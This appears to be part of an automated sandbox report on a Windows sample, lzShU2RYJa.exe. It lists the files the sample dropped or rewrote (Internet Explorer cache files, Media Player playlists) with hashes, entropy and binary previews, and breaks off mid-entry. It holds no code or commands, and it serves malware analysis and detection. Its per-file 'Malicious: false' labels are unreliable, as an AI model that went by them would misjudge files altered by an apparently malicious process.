SHA-512:	93CB4FF5A9D804C8409D194BE41EA7402EE1B7810DDC3D9AD93B2FC100601F8F726769A92F9F6D55084173385EB3B3DFE2BD3289E66025A7757869F0F301FAA4
Malicious:	false
Preview:	.....K-....Y.4....)4.[.P..S.I.O].l>..Q...J.W..V[....I..=..>....(.e ..S.+.2.%..........P.P._..-.$b....M...eM.....L.`W.Cj.).......{.....-.W.N......(.l......Q.p............... .....q#.......P_..K...V.O."..4^r._E......Q..+..Js+.I&...U}(.C.'.X..d9....{.......Cl...K.J. .}sO...E.}.o.h..~.Z+...&..I......_.......;..W.M..0=Z.&n.....r...d....lu..?.".q..E...Rp2.......E....c>U.^f..uS...R6.R..f5g.....(.Q.......9...Q .7<j.........=wxM>.n..=z.?Z...X....w.=...Re...=.z.\.`...n......?m9}..X..M`.G.;.9.....D.5.bN..5c....+.@.....r_DX...m.}.Q.4gp.\|.C>..G.3..'x.u..,b\.!.X.S1Z.'....T..,.j.x]~.k....F..W._:_.$..,r.A..A.Y..\;..:..{f...C*e.d6.V..]..2.-?.<h....-r..3.d.g.s.......9....p...M.......k..^....Ll....,b......&..m.x....a...,=y... .U,.w.z..%..n..6..O4..%.,..a5..r.o.#S9...r,....(.O..I...L...q@-.O.....]d..~...N(c.......J3....'..B.}c.S.}.!.......g.......w.Q...D-..D^.E......k.%uP..[..0.^.......).../....C.l.G.a....(h".M.\{.G.#.v#.1....XPR..\|.Zjf.............g^.x...

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edb.chk

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976808785081972
Encrypted:	false
SSDEEP:	192:WF2JxJ1yaTZzFr/TR/eHGjtKlQEvOY8kOatRMcBzUeJKy2Y0iNSRWEiq:Rw8ZzZR2mpKdzBpFXVlq
MD5:	2941A6E75191391B2D7F02C0E5531C7C
SHA1:	2444EF3505BE39073365E917F320530F50D7277A
SHA-256:	A45A516B2F98982C26A65F97BB05EF3947AC3D71BD095252262C96F286659B94
SHA-512:	FFAB5D18C3266848F135076F51C24FD2C5DEFB6C86C1ADFC396D41ED169DD334A6E526ACD81CFF32386B6C3ED13E36D144FC9FA0122216A08CA4533E707AD7EB
Malicious:	false
Preview:	A....].f..vD...S.0....._..p.-.<....\|OoqR......S.]...2...1.A......;Tg......x2.H.r..`..u.....^XV@.-ug.4L..k...M...".F...+E_g.PD...#".#p{..@z.Pra......=...[H.._R..-...i.<..Nl\|...!.J.\T..J.,.1Ry..T@R2......{.....6Y7~.{>.@.q..@...f.J......I...cb.E.;I.+..z...z...:...l.........r.. .q..u..dv.)..t,.......(}../....d...7j.8.........E.......4?.z\...&..(.O...84..`\|8..dmeR..;w.jq....2.}7..R,.i9.o..}.5N&&D.#..^,H...5c..x..C;.X1....".......h...j.9.n.{..o^.........}.O.q...5ij.>%.R.<v.._..N./)..N..a...u.....(...z...l.-...L@I........{....R...xuK...?]\|6....j.f.L....*..y..+...@.\|......b.Rn1...........X?.....h?..).N..B...L..L.LF8K..}H..kH..^9.~.:.........(...O.N..b..^.."......f....X....whp..'}....Xb%<(^..Pj.1..&.m{S...z./I..:.{.?.$...a5.,`.......'..zUe{....tsf....o.E..'.n.`c......k"...........B(Z.><...E..U..-......vG.5.\|.F./....ni..3...A..j..1f.r..M.61...(w..W.~.b.Q.J..wg..L~Nj/..u..P..cq..V....e.S.`.R.nC.........Ebw....B..nz&...m3Z..1N[.O..pH..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edb.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	4.009196130243822
Encrypted:	false
SSDEEP:	3072:swbIuSl+ZL9zXEQzHW93RpJAEpUB46iYo80/v+DyxWJoVlSmw7NOT7VRPDkSSnL9:swUu9AQzHS3r6EpUziu0Eyx6ySHvBj
MD5:	527A2E8ED2C7FF69A189AD69A01C184E
SHA1:	17F917C35594496F8DA122E671EADFC559DE2799
SHA-256:	2B3C05021DD98B059295E7AC0B2B7882C0C2EEA955E056D0512D08D6DAC334A7
SHA-512:	DCC211C396CFEDEC1598491416E850529BC9285D99986CFBE709531BBD4E5678B5D59CBD17F31A938D3D685DD9C1680040D01B42917AD6443CA840608A704866
Malicious:	false
Preview:	..........t.4zD...y..o...CK.k...#'.BB.o`0G....c...!W.Y@.p.0..y .TW..M9.+.@q...fw.9.q..aT........P.H.P.8eH-Ck.........#Xk...^.Y.J.c.a...B.=1.'.I..\|.$......!..-.K..".K..Nc.Uz [...&.A.=........m.".6...j.A.....~..=,.....O.7..n{.....R...?.^..< e.. S b./.H..M..[...4....h"\|D.C....LUe.59.Z..U...Gi..........d^;G.k.L.]l......B...;..<..G..x..BM.....I......\|..@.&.w..Sk9WP........\...] ....p{.p.Oo.W..B/..O.k.9u....w.,..IL.v!qy..x......+.cU./....el..).mR.^&..g.c.l..z.^<XH..u....l.V.n.e.s.i....^H.........W.....v.E.<-......z!..]H..a.e.!!)..i...8GJ.....9.Spfxv.Ep......u...Zr..O...>..H...L..u.D.mt...J...Q..7.........(^7...^.$.0...Wc..Tdaz....F.n[./.>..f,{..E.e0....w....R....y.,.6...2..6.... .@./..]aG.6.c.?....O.<..<..C>.....A..`W....>......X..}.@.._x._q.{...,..o..T].....[K..,C#'@.m.hT9........>O...a.....$."7....f.,..."..4.:..XM.u....W.Ce....C...4...n.g.X@XY...'0.2%...eP...3..^.......!...a.]..@....c............E....e6..jwoz.X.D.......9..j..cS....

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbres00001.jrs

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207247532188707
Encrypted:	false
SSDEEP:	3072:zsVqxdD8sALIKp9QBIghRuxlNiO6jSqLaZC3nWikowDA+KrxKoCmOaeQxs:Txx8LHp9iIghKTiOynLB3nzRwmUZms
MD5:	7788FC4327444B4FBB1B3FD812FDAA01
SHA1:	4E90D915513941F32727C87ACFA5C395C06A00DF
SHA-256:	268079BF07AAD123F29534611F2839DD8EF8CFE7048249D7BCE50BE528E95078
SHA-512:	3DC490395ADEA8AC3F8164FB20F0441C631E1273833A16636280803F9E6BEB1EDEC568D60C7709A1C15475B9CA8D994A39DA3E254A30574F4E437F785C4145A9
Malicious:	false
Preview:	.......w....J..L....0...g..Z.&..Y.....=EP..c~....Dt.G}..=..;.....N._.".4+......qC.L1./.:r'..........N..g/.uM.bZ...-q_.Q.z.....R.BU.W.l^..m.....7.^D.5e..gfa..).5..p.7.G.(....>.yhT.RH...9.c...fp.R...FX...bI.8,...l.].u.....=./4L.e.8..#.W.... ..a..#=...9.+.?\|..!...nE...EM.....A.&.V\|j.+.Fn.L...Q.].. ..j...Db..H..t.Lv..3+.....3.H.. .....K.2.....\|....u..!N.,._.`2...j....`...K..N._...r.(c<.@MYp.[..g...q..@=....u.._..=@......i..5O.....p.L......^....)..'....+b.Py`.V.L..A....k....j..Y...,U.B?....P..udw].2.3.....f.{.Ue....hhYn.au.C...`...........g..k.d9....b..g...fF.haHij+.-.&#z..S....4F...8T_...y....E..\b_i..e..!.BOG.uh....r.],....[.S..%.cln..-..Y].{.......+(..d.e.Q..6/..x.a.v...kb..i.y.......m../7.n...z/.sF.R......Z.Qyf.4.i..@.].D.l.j..AK.X...W...l}.`.J/....S.PI..5~.y%.....'.e...9b..{..E.B..X..M.h.M...IJa..{y.gu%.........FL..`n.hG.\|8.;p.<.!......."0.i%A..r.;4..4C.....J-.*.zC..?.iI..\a+qQ..}>c..._....IOM.x....m.+OK.n.M...Z=d...Qe9 .t.G...U...

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbres00002.jrs

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207419381543322
Encrypted:	false
SSDEEP:	3072:tC2gsbYzgqBeR05PzrZunGSitMSLRXz8v3uYGiWCc:AW2gA1ZPLLVQ39Gmc
MD5:	DBDAC8FBACE12A25220F56BFDD7F08C3
SHA1:	1EC376F0BD5754F6BC00F9958BE8619569754354
SHA-256:	AB9089FEB1233F5076D72663FD6A6FDD81CC3C4670626442B80192C45E6D106B
SHA-512:	DCDA87CEA588290D52BD5AE6142599F8029FC4CD70D35C9E42993C48FBB77492E910E1BBB2E2DF528AC0BFF1A8B9487575557246FC4075A7BD64E5BFB6792C16
Malicious:	false
Preview:	........IB"..#.K.7@..z...c...-.3.....?.L.E...pv:.......4.b....k7.1.-~.a...../.@?......;OJ.....C.E.: i...:..aj..A..;..S.y..ON.....#...!.u.V.....v.......E....=...a~B.b+'L..z.2.m;XBN.T...4....+.[...O?N.....&x.RP.C..V.y.....[jv..>...I.....J'x..Q..R...../B.....#.8.7.....Tu..u..IO.OOk.M.mb.P.^..nW.....;9X.SW..2H...HI9Z.z].._v..@Z..$"a_.v. Q\.8..7.J.F.......Od...<;..........tFk.U...K..i.H4kG....},V....'@I.[W..^...Y...K..[...8I\..$...Z.P&4Z.".r...W=$8'j;.'......G....u.WKO..Vt.G..m.'..1q...E..F%S ..L.>.....K\|bT...}......1.@.<...P...6m:...kC.....Hz........K.wr.3..w..7_s.^r.%9.l...U.ik.i....Z.......U\E..lRL.VU.)...E(.P......%S.V../..r.....8..2..%3.&......F..r...i..y.w...E.;ud.v..c-Q..F.4.@...:)D<..'.B...[..ymK......).u.at....2h....g..8>I+=..6.a.4.}...T...F..UZ...T..I@w\.....P_..4x.M.....^5n.t.1..j..:..n...f.Is.$.{u.....L...e..=._WJ..`.........mA....t..l.`..`..*.@..p....7..S...x.B.#.X.....o?.%...%..#..5.w.G.LY...:.i..SQ.";-.dB-,1..OP..."H.G8..`.

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbtmp.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207753009045812
Encrypted:	false
SSDEEP:	3072:l+btHPgwO3s6Fom7zMW3KdNRiH1mUkMAeTWIMT5qUBYy:l+btHVOc6FjbmRiV+MAhIMTkUBYy
MD5:	42B3784D44DEC445CE99A2B441BB9297
SHA1:	573E727452C3C74D3E5397F1342CC5F35607EC6A
SHA-256:	E81E2D96B38B3AE7B0A72659A273B9A5780F289AB46D80835D5DDBA873CDB505
SHA-512:	801BD3BD1BF4AF1E517A707BFC373F72CA135F45B56842E85BEE8D90893DAA22957B1074858E11EFFC264D9AAC1F27D8EF42311F71639F1EDA1E7EE35AC3C954
Malicious:	false
Preview:	.....:..9.}<r....h...$...E..V.X@....n8.=...$...R...;8L...1d....r.6.1I...6v.s..f.X>.L.2.E(y;....&........5k.).}....z.6d+nH.......U....\..^L.2>i..u.......j<..=.Z..`D...:6.z.w....'.h..g.../:V.L.\|..P7W....C.\".Ko.aO.!.1.Ak..YrM.....?..^o....xp.s..z.h...V....}w.._m..U.^]...m..P.mt....#..XL..?....!......4..........z..yD.{o.U..%} .-N7....-{..=F{.{........ph.E....?.W..a.q...`.\.:TJG......$6U....ik..+W...Q.....U..m...g....Q.1....N(.8....f.A...>y..7V.."%6..,.9r&'>..QK~..L....e.^..R(.x..]\..+....f.$b..,..g.c...H.N.. ...G..M?S..f...^.......p...)R.\A..D.....b.{.n.z.K.w...b....m..E...........A).g(.@59.Q..z.U9..@.L~06._.j?.w.[.xH........=...?.L.q.xlN.x![......i.kB........;..I..#n...S....t.kJ@.%!3....B.J\...",.Ce.1..................E..m....Mp....9B.)......j..K7.-s...VO.KT.0..gB...h..<o<0..y..@.....kO....%.........F< .......2..V...5`.'..[[.....*..T9.'...\......@.G.q.C<k..#.... .....m.h}{..G)+..Al.u....J...v2d.../..32...B.U...vm"...?P`..0.}..n.......

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3384
Entropy (8bit):	7.949264489119212
Encrypted:	false
SSDEEP:	96:n2OOpSAE7M3E76zdTnTjDoH/KITmFvGMXY1rwdYgYRHA9:2vSAEgUKdTDMKITmFvwfjHo
MD5:	9A84088924E1B359944F62AED6898969
SHA1:	3C7D2F10E84CA9BE773BE6E280292E0658146E8F
SHA-256:	22CE4CAEC17B4E0A46FC7D65A7DDBDED689C6198A96DB663C6635C91E551794B
SHA-512:	41FBE98A1FE75B24682BE34F44D02AFCE642D082686F23855848F01501EE3BFA9C748603D3C1746CD43A087B6E2857F18094AB47B14669B9EA9AF7B0DC256550
Malicious:	false
Preview:	<?xmlEq,..*NT.............X7.<u`.zz.#..>..+.i..qoO..%.E.S..i9d....0E.9..=..x.Z4F...-p[..$..C.<...(N`/J..`.~.C9....(y....@..:...h.C:.8....a........ku0.r....#.D...z.......o.7..5.^#.)..3}k4.{.&....^UL.#.fw...]..D9..\|..E.7~.X..?.b..y.'....+..z....-.V4.o.Uu..H4.4....t...o.~q.l+...I:.QQ.z.'.X.L..X.-....F...H:..7..$..J^....(..i..%.....VW..0..2\|q\|.6YH.#.q.......zu._..j..LB..B...e.....b.....S.QM.h.A....8O...~.5G...[.h...0.......;M$.5..../....]..9.i0..B...G.x......\|..z7v;....K.3.<...&.SMN..kT.......)..;.R.....Z.........G_.++......pm.n\.,-..K[.aS........t.N......pb....A...5kxJ....V.e..-.\>..#...)$..Z......4..[..C.1Cu/.%......_x,.....r[..l.....B....b...,...zI.]..}D.....V....L..A...0q.!P..h$....)....b.....,.U...1..Q..r.dV9a.^...Y~...jgP.B.m 3........y......[.$t..a..R...tL].f&[....C...\.:.....6.A.s....t.p..{..!...Q......w...B.V..\.....$!g-/pL..Cj).t....eC1..g....~."I...g..b..?............5GP.O.-.....^iB.0....".(..?@!.cV+...Y.\.f.m..&+`M.A..h.

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\ie4uinit-UserConfig.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (869), with no line terminators
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.8847820801218305
Encrypted:	false
SSDEEP:	48:HJMUg5P0tbJEG1LDkk5qb0n204JUM/SnJtnZu3FD:SL5QbKAXkyK220rMKJtnZu39
MD5:	6CABB83847BF4B32711A8886A7331C3C
SHA1:	C002DE08F3D02D594E6ACC10B17EDFFDC1A30E5E
SHA-256:	94308B67CB93671FD6D81C7D9A43954267D48A0A4B2E62EB694601F4E89FEC8C
SHA-512:	18A9DAB4C715A8D476A4AB77A4CCC85EA91D3996D4CDAF07A307DFED7107F14AC232E5A35FA2047EE60BFFC1095F2B4A7DFF857610AFACAC9153346592C67472
Malicious:	false
Preview:	..1.0...9...FU@@N2L...@......u.E.d5.O.\|9...w.....(Z...N............m...Z%.r....Dv...Zm.Z....5.....>...L........@."rX.v.. .>O.w.)E.t.......I.{.....(.s .d.7...[co..Sb.7W.c..c......'...c1iPNu..y.!....8.v.W.M.p............r>Ii5.`E~...........^.......]J.M.[..i....N.{NhSW..e..>..7..O...A.Ym...2.2......!.#.U%C.0.-....6.9y0..K.$.M.A.U....2.2o..BD#G.H..-..4..!e..8.G...6..,......U,.N..(...&.E......m.W.X..c.1...'/..F.r.m..1....B.M...v....yU.%X5.,D...G..5r....F..nC....}.../L!S4x..G.\.J....a...,....R.F.S../e6...=..za.K8:xw./....]oT;.p.fl=..0^f.{I.t...U]......#..N_....\|....g..u.r.E...[Zf].?Y..P..97"#j.......Gvg.o..l..o....".o.....Pk..'t..m...[. .p......u...]3Ux.{.DM.5..S..u..Ugm.W:.I(.TG....r[...zc..5...^.r.....k%.cF...t.-igLq.:.....yx.t.n...L.n..ys..e9.O.{L(.V'....0~..Ah....dqf..A.......jE[b.?\..W...T..u.~L...)...j....M.M-."k.J..y;.[.!}*.......4.......!..vD..[.H..H..Y..s.D...<..fs.h...4@...H....`.O.........)LZX+....)..>...v.Q...q....(.I.q...8S..^;

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\01_Music_auto_rated_at_5_stars.wpl

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1378
Entropy (8bit):	7.851102196584522
Encrypted:	false
SSDEEP:	24:4XgUr0rKs8/YEykVt1faVEtuO0jvf4lAjgwq2AfHewzYB/ctMNVbD:4Xgq6695gS0jvw2jgPK8oNFD
MD5:	5D6AE8652A57AE0E0F666DFAAB0CB4EF
SHA1:	E88146C3BB254CC931A8B411EFD3C5172799330A
SHA-256:	766B802D25BBF08D930CBA6077EA59DABB5CE5EB3EC15153B695EC98C1779089
SHA-512:	E369BB95E1773FAA621581FB81EA64DBF352755055B4B8EEDED1D92977ACF59C3B2F5434A797675D217579281B324697871CB446198C68A4892EAD7FB64A0809
Malicious:	false
Preview:	<?wpls.. #:......H...N.x............T.m.p2.6.....mT%.M..........)......U..T.....#.08.?...X.U..G..`.k.V....@..\|/.l.t..g5.1Q2...V..>m.>.%.T...1.......P...i..m#..,`.N.0( .....D.4.;.D@.3UC).R.c...s..`.U.x#wja`.R...'.]..R.E...7..^c.OK......W...N;..\.u......B.5.......v!C..../:.....mGL.XK..]..A......D.[h...".SCO...4F..Z.."..4...S...S.1.....S....O}.A.)..g...v....1..x\.&H{.9.....+M.PQ..a#b...&.s4.......nc.V........+i....{.Z...p...h....S2......]...3y.T.l.....y_..M...}xon.....].Kk:..P.....~...A.&dT....j....OM.....D.fw..@.../`.[..8`....n^.....f.......g.Tv.x....T..T.hs.ifs...hI.1H.c...........,.."...NRYZ.O".P.5M..>..Am-.9..b...m....m>....7....JK.G..F..N.p~z.K..f%.cv/.Tn.".4x..ZQ.....@..N.a.:....c..\..qC.......C.[:.%..D/._M-....n.S1.z@.S..8....A..CZC.#.%..).....d.-t2.;...5..a!.G.Y.Yw.!.Z4.'J.O..I.Ug....s.z^..F.......f$.W...>..{.%QZ_}m<......#.H....gv2.K..."n%mSD..7..j.C..........^\|...I.Y.fkd.c..~.h..b.&.Gm.'.-H......q.[...e.!r'..@.a%...5.M.......eCig@.

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\02_Music_added_in_the_last_month.wpl

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	7.857056269885446
Encrypted:	false
SSDEEP:	48:Mw4mkO/6OOY1SkcrQea9xvQBJJd2rOJ8nb0FD:M5QvngQea9qNJab09
MD5:	1D121DF4F39B24F8CC095DCC8FD4A22D
SHA1:	79D15777631786F432FDB4718ADBD122A9F3DE4C
SHA-256:	A22E9997E0FA38D8E6CB6AC4982ACFE7AE592E1705BB11D9F36058F02F0FDDC0
SHA-512:	1F2729BDF2E9F570CEBF035E20820F248DD7F960BF41419565D26AB0DBF471155025729618CD9FEFF9876AE0D933D90956DEFAF1B253B0977D0CBB5B5800720D
Malicious:	false
Preview:	<?wpl....+.e..)6x.y....Il...W.92(.0.Q....sa.....-.l2.....I...y...S4j.......w.#.......@.....(T`....M.%z. ..)....)..Q........PHR.`?.....1..o......l.a.qK...1X.5..[.J....@....q.x.2P[WGn.>.X.`+......G\|.K......N...21.....7.h.M9..k.$-.S...q......OI40..OI.E.l...%..4t>o4'27OG.J.{\f..r....Z.a..DT~8f.>.....R.Q........e.m).b..2...... .8..Y./I..R....9E.=%.ly..r.l..f..5.(.V......gq./Bw/.<...wG.....)...8:.Ff$v8.O......P9Jk.5.!.bL.......f~.^O.....6?4..G.^.g0r^......A..7..>.W....1....L{. {.ua.k'{PY.a..]..M..,J.K...(c.......a....V.m8...pN..`2.c_...{l^.".Gw.8.u(..].TV.w."W..K....7...y.l1...#...Z.(....H.`#..5..!.....B\|...aws.......po3`.N..A...T>.^7....-........R...%..G........... ............P....q#g=Y4.!.U..@$,.a.4.\|....Z..G....:O.y..w...).hv....$...6..J.......I.T.0..c.Qe..=.\|..D.&f.T...8...C@T}.BR...`...,...J.7...?...........1".5.W..V..e`.u.....kM.L..48.....:-PbPV^...X.....s.2.l..?.W'..I}.Z._"..],B.....iL.*-...U=u`.:.4.,.{...Jc......C...{......O..

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\03_Music_rated_at_4_or_5_stars.wpl

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1601
Entropy (8bit):	7.86730560580517
Encrypted:	false
SSDEEP:	48:Yn9A4HWX7vtJSMiWV+nNoDJaMCPQ2enJdFD:YrWXbSXW1D0RI2eJd9
MD5:	794F3F4BD816A48E8BFAE9F25EA350C2
SHA1:	F5401CE724BD3382EF7C51DEFCE71CF9CED7DE5E
SHA-256:	32EC96F8B3770961BAE8DBE2A46AAAA63C21E514F65070BA17C6C2A04B38FA4E
SHA-512:	61D4A8B61457BDA82F78EC55722CEA8EB37E06B58378271D81EBABE145345FD3A83E9E4C74CB34606A04BA1EE2BD39EB466824470D4F89985E1A20F2B9E920A6
Malicious:	false
Preview:	<?wpl)A)..J$6..;T.-.]z.......O....$Y.....y;...D.O".@...Ss....HZM....h^s....\|_...AS..8.`...Rh.K..pT...]...7F.........C....&J.+.i\|........IFq..\.@A.....V.Tx<m.... v.2...P....K1.M.{.Bs>.aZ..>..[s._}d.Q.......3>...(.....Zl..s>7....G..v.X71.F.MS.../..xt.G...q.i.-...R..W.dK...l..b...).....F=f!...; -"4.V...oJt.n....~..F.+.s......../.@h..k...:...o.C..1.oy..C.....`~T...%.u..F..0.3._..R..1.....J..b^p^E...g.3.....C.....AH5"b'...<...8 m..ndU.+.7\!'tW.08........I m#._.-D...FeQ....-....[1..2.....1]...K..\|.......x}.-..36.B..s..K..Tn.0....d.m..+.y".:...4XD.n4..?m.<..8P+aC..x7.....&...:/g ...wR$..........~...R......-.,.2....o.P.VX.t.1.T.R.kk...V.>.....z.....8.I.9.'a............18.^....)k'H..H..+L...b8@........OC(.+BE....=... ......s...l.$...4...n5\.R..\...,.s..L;.w....Z..n.....TxL..h..&.#.,=_0@9S.'C.R..^...s!.1....\|.w.+..5....s....K".Xl ......2?..$.....a..C.fOb.]t.E`.._.w.`..i..Z....../>.M.\|...?...)........R..b.!...+#sj.@....O.8.N..f\|.e..x.<..s&>Mo.S...

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\04_Music_played_in_the_last_month.wpl

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	7.8762111994944375
Encrypted:	false
SSDEEP:	48:JKNBxsU86m3yROtB243qngHVMn4YWvkXddefVnFD:JKNXv86misLnagHVq458taVn9
MD5:	81C35971AAEDB2379249FB6875F9781C
SHA1:	710F34BB0DD95D3C2F4074EAE855F19E38F05E08
SHA-256:	9FE00E34F3EB320C946E59E803C8398EE82B7159FA3AED3FF5FD00ECC766985E
SHA-512:	14E839EBFDE634BCC79562A04B0835C501EB71ABFF9E349BAC81C35348B2F05D565F4D04A4771E5F93F4112FA32CC91172F70F21F8E602D466DFC7C23FBD86D3
Malicious:	false
Preview:	<?wpl%......;'kX.g...z....z...-CLX.~...mg].}D...c....:...`O...UTQ.5........g:.=..f..........V.\.?..7k..b.....7..ak+.5./..W..0....,".a.Z..H.5.y...C^.9.....U....e ..y.>.....~o.)..[o.........R.3.~K6\X2.. .~@$....r....<S`nO..@......k..E.Lg..."....Lg..4Q..[..Vh....D..z3........MO.0W.t.v..u:.....B.......e..].....-.^.&e..._.....T........g..P&.:h&.=F...4o..)..`d.:O..m.r3V.i...p./....y@Z..c..^..6P.zM.,.A...........a.3."..1.V.}.M..0....#re.zR.+B.........a6.g.zD...0......vE`....p.^..h..J/..C..oCQ.......z.,5.5../.K..'&.Y...G.=pb...fF...F,..M...io3p..\|.b$...M......._..9.Ik.X..rk......I.J...^G).......5..f..D.s.\|]....asw.....&.camyD.z@.....E....a...%....xA^.+..-..P...".$...K#3".y\q...i.I6.Q...q..G.v(.:kNu.I...a..7...JrX.......I....w.!.......@......5.......!..} ..,N?.....>UYluf[w..(....z\|.4.{.....$h.g\w..f..g...-.<..2.m.Q.....73..M.D.b.Q.1.cA.a_&...6.LhC"..IxT...9.f."H.8.P;....>..^'.b..f.<1.+m...W.g..<..1......9w...Lj..T..WJ..a/..g.h..`)..-.[.76..R

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\05_Pictures_taken_in_the_last_month.wpl

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1131
Entropy (8bit):	7.827783083904067
Encrypted:	false
SSDEEP:	24:ScqLk/JvWDAWgNrDnwyDg2VftAYPwOtufyizlBhhfeIWeVbD:Scqg/RpWgNoMg2Vf6kt+jxBeIvFD
MD5:	188F3656556BE932E2E6487C0F3942EF
SHA1:	A1A4F6C1747F730CB8F04E897C95B61430A22979
SHA-256:	C1A8051B977A474540E0C16BC958C390CD1AD43F14C8541D5F88617FED67282D
SHA-512:	7FA938D440C5419789BC5BD17580E4B8D4AA9936C9C047AC2D2AF325B3378E656E2EF4EE530A040A9FBAE5721EBC578E5DA3641ACCBA75CF869F43C617CAA81E
Malicious:	false
Preview:	<?wpl.NpQY.t..v.O...z=)k...&2.f5.+. r..'........\vq.UV.;...+y@.s....d5a8x....'..Ss...P.,5....kt.Su...u..M)...}....h........Y..O..B.I.E...>.....I..T...8$..Xp.C..Q..e(....FwB.......^...{...n.[TW.h.M.R....?.@.i.<^..5......../..%`@i.$!yTS7....bzN+.#K2..mO.-...j.I..\|v.G.Pw..WK;.<...8.......4\1..;......`.....>"+8......."f.....%O]..J.....Z.k:....}....t...d..<.S=..R.cVx...y\|\|).hE=m....Rt.X.c..69..&......0......[..+.j...W..`.j9.^....LEe+.%Ei..v...3..r...V..Z. .S\.2...].3...G{Uq.f..{...#..`.7..L.....lh.........w....T...`Z....F.L#.Q....<".l.....A..k....A.;].@.b.}.\...F8.nq.k..eK.....h.2p.@.t....QS...T..ExQ...".x=..,"..W.;....^E.KK?..'..s..3nr.{.....TF.[S.k..6......c.z.2..-..h....d.]..fC.xSSa..u..jv.....M..+......<....3...9...<.h0.......J.Bw..N..{.d........3rS.z.&..F..`...YW)6.@t..8.A.?.......}..7i ..~<.D..FbA.....4....~.[;.%Q.........l.(R.e...8....w.;....*s...u...xF,........4.:.i\|.8...]2....E.]...&OgAq..Q B'....nDm.).#...Ol.\..U..L..

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\06_Pictures_rated_4_or_5_stars.wpl

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1119
Entropy (8bit):	7.838498911959747
Encrypted:	false
SSDEEP:	24:1GFMsfYFsIUxhRRy17P5cgDd+CtPyiI+hsdlmEGIVbD:13sfLI6hi11VDd+C81+hsdwEGIFD
MD5:	86A42F5384059C7B09E8CFBA1890F0CB
SHA1:	9F8E9A67C10C4CC3C632B4695E818549FD097248
SHA-256:	62663FBF031621BC528540F33FDDDA86B61A0878E907651A7CCAB25E7BF51C46
SHA-512:	B8E72F31E5181DAE7B1B2C1347B0D187562CDABA9B887876929B9A2C3395BBB16941CEB92423E6587BC54232DA936C9A5332677D1F458E80F6034D5ABB6E72E6
Malicious:	false
Preview:	<?wpl....ne.....~....&.-.n..W.HzR.f....}..><...b..R.>\|L......9..U7...R.}.6...7.SQx.,.UYH..f..4a.n.1.tN.....#...i...6..9.[.n..>].P-h.<..\...p.\|.,....b.....mO.c..Z....8.M.9u...b..Eu.Wl>.us....-8.q.Ei`.:..+...^.C.q.......2Cm..C?o.T.D.c..~..<&..x.B..n...H&......o!\|oRq.d.#.=.N....['...3..}hqL...5........y..Xe..MP8.2...z.......<-..A........0Y1.S.p.M.b.J....S...w\|Wz....T.h..#.......lAe.Kq....T....A.7.$.C....].&....H..........l.!....p.\|.......vJq.n.\s.)m...H....`.h.'....{........~.d5.ElSW...../....y....)7.a..j..-..a..Dk.Z.......5VzJ.4_.!xI...FK.w.x.......B.32.{... U'%HI.4.>.!.#3.~..,.cb....;#+=d.U.8k.%.%.....%.j.....}.....2...a_6....>.@..4B"J..T..r..f.....?0!].......e.r.U.ZT..3.E.)..c.......Fq......<i..=......w..-uR.'q.J...6v....2.A..Q..Sy........7.w.....%!.........`&.;?`.._Z.$?...l........8"...@./.~s1.....%5......jj..b.....vz.5].l..t.;....\..Y.@..9..$....Om./...z..(...qA.......H&!%L:.@H.,a........+..]=8....IoUk.....wL.{..p}..[.9.bz..7.....

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\07_TV_recorded_in_the_last_week.wpl

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1374
Entropy (8bit):	7.863491766441068
Encrypted:	false
SSDEEP:	24:IjNsKn0SdHRuLqHf6kyHybG68/wQw21txR72O/YP6V0qOqUyqvsFWQkVbD:IxsKn0SaLqHf6kUyU/ljF/8Lq7UTQkFD
MD5:	2FB97195D5E303331F4E873FD211D2EB
SHA1:	5C96C2C8CFE00EEE094AE36E23EE548A4807F198
SHA-256:	8282BC489359DDCF841903787479AC82D83D607B2B3A9F3F774572D7B8F057F6
